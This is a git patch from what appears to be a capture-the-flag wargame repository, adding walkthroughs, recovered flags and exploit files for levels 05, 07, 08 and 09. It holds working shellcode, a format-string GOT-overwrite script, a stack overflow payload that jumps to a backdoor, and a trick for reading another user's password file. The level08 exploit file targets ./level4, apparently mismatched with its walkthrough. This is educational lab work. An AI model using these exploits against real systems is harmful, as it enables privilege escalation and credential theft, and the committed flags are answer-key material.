From a3ea938eb12a48bbf4573dd1cf0972255964cd34 Mon Sep 17 00:00:00 2001 From: 0x35c <> Date: Thu, 15 May 2025 14:00:44 +0200 Subject: [PATCH] level05: done (exploit modified to a better shellcode) level07: walkthrough done level08: done level09: done --- level05/flag | 1 + level05/ressources/exploit.sh | 23 ++++++++++------------- level05/walkthrough | 14 ++++++++++++++ level07/walkthrough | 2 +- level08/flag | 1 + level08/ressources/exploit | 1 + level08/source.c | 10 ++++------ level08/walkthrough | 16 ++++++++++++++++ level09/flag | 1 + level09/ressources/exploit | 1 + level09/source.c | 18 +++++++++--------- level09/walkthrough | 15 +++++++++++++++ 12 files changed, 74 insertions(+), 29 deletions(-) create mode 100644 level05/flag create mode 100644 level05/walkthrough create mode 100644 level08/flag create mode 100644 level08/ressources/exploit create mode 100644 level08/walkthrough create mode 100644 level09/flag create mode 100644 level09/ressources/exploit create mode 100644 level09/walkthrough diff --git a/level05/flag b/level05/flag new file mode 100644 index 0000000..623a14e --- /dev/null +++ b/level05/flag @@ -0,0 +1 @@ +h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq diff --git a/level05/ressources/exploit.sh b/level05/ressources/exploit.sh index 4669587..eeae352 100644 --- a/level05/ressources/exploit.sh +++ b/level05/ressources/exploit.sh @@ -1,6 +1,4 @@ -#!/bin/sh - -export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80" +export SHELLCODE=$(python -c 'print "\x90"*1000+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"') printf ' #include @@ -8,25 +6,24 @@ printf ' int main(void) { - printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\")); - return 0; + printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\")); + return 0; }' > /tmp/env.c gcc -m32 /tmp/env.c -o /tmp/a.out /tmp/a.out > /tmp/shellcode_addr printf ' -with open("/tmp/shellcode_addr") as f: shellcode_addr = f.read() -exit_addr_low = "\\x08\\x04\\x97\\xe0"[::-1] -exit_addr_high = "\\x08\\x04\\x97\\xe2"[::-1] -shellcode_low = int(shellcode_addr[4:], 16) - 8 -shellcode_high = int(shellcode_addr[:4], 16) - shellcode_low - 8 +text = open("/tmp/shellcode_addr").read() -payload = "%%{0}d%%10$hn%%{1}d%%11$hn".format(shellcode_low, shellcode_high) -exploit = exit_addr_low + exit_addr_high + payload +shell_code_low = int(text[4:],16) +shell_code_high = int(text[:4],16) +exit_addr_high = "\\x08\\x04\\x97\\xe2" +exit_addr_low = "\\x08\\x04\\x97\\xe0" + +print(exit_addr_low[::-1] + exit_addr_high[::-1] + ("%%" + str(shell_code_low - 8) + "p") + "%%10$hn" + ("%%" + str(shell_code_high - shell_code_low) + "p") + "%%11$hn") -print(exploit) ' > /tmp/exploit.py (python /tmp/exploit.py; cat) | ./level05 diff --git a/level05/walkthrough b/level05/walkthrough new file mode 100644 index 0000000..c47d6fc --- /dev/null +++ b/level05/walkthrough @@ -0,0 +1,14 @@ +# Level05 + +Using ghidra, we can decompile the code and see that it fills a buffer of 100 bytes using `fgets()`. +It will then `xor` every char from 65 to 90 in the ascii table (the upper case alphabet). +Finally, this string will be passed as the string format to `printf()` and we can exploit this by overwriting the GOT address of the end `exit()`. +First, we need to find where the buffer is printing on the stack. We can simply write `"AAAA"`, followed by a bunch of `%x` to dump the stack and find where it is. Here, it's in the 10th position. +Second, we need to get the GOT address of `exit()`. Using gdb, we get an address of `0x80497e0`. +Then, we will write our shellcode injection to an environment variable so we can print its address instead of `exit()`. +We can print this address with gdb (or using a C program, which is what we did for automation purposes). +Once we have all that, we can exploit `printf()` to put the address of our shellcode at the GOT address of `exit()`. For this, we need to split the padding for the address in 2 parts because it would take foreverto print all these bytes of padding. +We simply separate the shellcode address in an upper part (4 bytes) and a lower part (4 bytes). +For the exit address, we're gonna write 2 bytes by 2 bytes so we need to write the first part of the address to `0x80497e0` and the second part to `0x80497e0 + 2`, or `0x80497e2`. + +For this one, you can copy paste the bash script in `./ressources/exploit.sh`. diff --git a/level07/walkthrough b/level07/walkthrough index 3ae2594..be36be9 100644 --- a/level07/walkthrough +++ b/level07/walkthrough @@ -5,7 +5,7 @@ Basically it has 2 functions, `store_number()` and `read_number()` that writes o The issue here is that there's no protection on the write to the buffer (except `index % 3`). Since the buffer is on the stack, we could overwrite `eip` and replace it by whatever we want. First, we will need to determine `eip`'s offset to the buffer. To achieve this, let's use `gdb`. -We want to break before a call to `store_number` for example (since it has only one argument, `data` buffer will be in `eax`). We then print both the registers and the stack frame (`info registers` and `info frame`). +We want to break before a call to `store_number()` for example (since it has only one argument, `data` buffer will be in `eax`). We then print both the registers and the stack frame (`info registers` and `info frame`). We get the adresses of `eip` and `eax` now let's get the offset. Simply substract both addresses: `0xffffdc3c - 0xffffda74 = 456`. So, at data[456] we have `eip`. We still have 2 issues with this. The first is that the index we input is multiplied by 4 so we have to input `456/4 = 114`, so the real offset is 114. diff --git a/level08/flag b/level08/flag new file mode 100644 index 0000000..7301e9e --- /dev/null +++ b/level08/flag @@ -0,0 +1 @@ +fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S diff --git a/level08/ressources/exploit b/level08/ressources/exploit new file mode 100644 index 0000000..dedc96c --- /dev/null +++ b/level08/ressources/exploit @@ -0,0 +1 @@ +(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4 diff --git a/level08/source.c b/level08/source.c index 4dff6ef..1d9c18e 100644 --- a/level08/source.c +++ b/level08/source.c @@ -20,10 +20,8 @@ int main(int argc, const char **argv, const char **envp) FILE *log; FILE *stream; int fd; - char buf; char dest[104]; - buf = -1; if (argc != 2) printf("Usage: %s filename\n", *argv); log = fopen("./backups/.log", "w"); @@ -44,11 +42,11 @@ int main(int argc, const char **argv, const char **envp) printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]); exit(1); } - while (1) { - buf = fgetc(stream); - if (buf == -1) + for (size_t i = 0; i < sizeof(dest); i++) { + char c = fgetc(stream); + if (c == -1) break; - write(fd, &buf, 1); + dest[i] = c; } log_wrapper(log, "Finished back up ", argv[1]); fclose(stream); diff --git a/level08/walkthrough b/level08/walkthrough new file mode 100644 index 0000000..8c4362a --- /dev/null +++ b/level08/walkthrough @@ -0,0 +1,16 @@ +# Level08 + +Using ghidra, we can decompile the code and see that it does a backup of a file that we passed as a parameter (roughly). +However, there are a few protections. +First, the program `open()` our argument file (here, we want `/home/users/level09/.pass`. +Since the binary has the permission for user `level09`, we can `open()` this file. +The string `"./backups"` is concatenated to the filepath we pass as a parameter. It will then `open(..., OCREAT ...)` the file that we passed in `av[1]` and write the contents of the original file to this newly created file. +However, since the path will have `"./backups"` at the beginning and we want to get the content of `/home/users/level09/.pass`, we need to recreate this file tree in the `/tmp` directory. + +Here is the process: +``` +level08@OverRide:/tmp$ mkdir -p backups/home/users/level09 +level08@OverRide:/tmp$ ~/level08 /home/users/level09/.pass +level08@OverRide:/tmp$ cat backups/home/users/level09/.pass +fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S +``` diff --git a/level09/flag b/level09/flag new file mode 100644 index 0000000..6f04f58 --- /dev/null +++ b/level09/flag @@ -0,0 +1 @@ +j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE diff --git a/level09/ressources/exploit b/level09/ressources/exploit new file mode 100644 index 0000000..5e28a26 --- /dev/null +++ b/level09/ressources/exploit @@ -0,0 +1 @@ + (python -c 'print "A"*40 + "\xff\n" + "A"*200 + "\x00\x00\x55\x55\x55\x55\x48\x8c"[::-1]'; cat) | ./level09 diff --git a/level09/source.c b/level09/source.c index 31c3408..171e9f0 100644 --- a/level09/source.c +++ b/level09/source.c @@ -27,25 +27,25 @@ int handle_msg(void) char *set_msg(char *msg, int len) { - char s[1024]; + char buff[1024]; - memset(s, 0, sizeof(s)); + memset(buff, 0, sizeof(buff)); puts(">: Msg @Unix-Dude"); printf(">>: "); - fgets(s, 1024, stdin); - return strncpy((char *)msg, s, len); + fgets(buff, 1024, stdin); + return strncpy(msg, buff, len); } int set_username(char *username) { - char s[140]; + char buff[140]; - memset(s, 0, 128); + memset(buff, 0, 128); puts(">: Enter your username"); printf(">>: "); - fgets(s, 128, stdin); - for (int i = 0; i <= 40 && s[i]; ++i) - username[i] = s[i]; + fgets(buff, 128, stdin); + for (int i = 0; i <= 40 && buff[i]; ++i) + username[i] = buff[i]; return printf(">: Welcome, %s", username); } diff --git a/level09/walkthrough b/level09/walkthrough new file mode 100644 index 0000000..2c0ada7 --- /dev/null +++ b/level09/walkthrough @@ -0,0 +1,15 @@ +# Level09 + +Using hexrays, we can decompile the code. +Here we have 4 functions: +- `handle_msg()` => has 3 variables on the stack. The first one is `char msg[140]`, the second one is `char username[40]` and the last one is `int len = 140`. +It calls `set_username(username)` and then `set_msg(msg, len)`. +- `set_username()` => write the username through stdin. +- `set_msg()` => write the message through stdin in a buffer of 1024 bytes, then copies its content with an `strncpy(msg, buff, len)` +The 4th function is a "secret" function called `secret_backdoor()` which is our goal since it `fgets()` and gives our input to `system()`, thus allowing us to run `"/bin/sh"`. +There is 1 main vulnerability in this program. In the `set_username()` function, `char *username` is being written to through `fgets(buff, 128, stdin)`, then copy the content of `buff` to `username` through a loop whose stop condition is `i <= 40`. But username has a size of 40 bytes, after what we overflow onto `int len`. Since it allows us to overflow on `len`, we can exploit this to then overflow the `fgets()` in `set_msg()`. We're going to put a value of `0xff` in len and hope it will be enough to overflow on `eip`. +Using iterations we found the offset between `msg` and `eip` to be 200 bytes. +What we want to do here is fill the stack with 200 bytes and then put the address of our function `secret_backdoor()` in `eip`. + +Here is the command: +`(python -c 'print "A"*40 + "\xff\n" + "A"*200 + "\x00\x00\x55\x55\x55\x55\x48\x8c"[::-1]"; cat) | ./level09`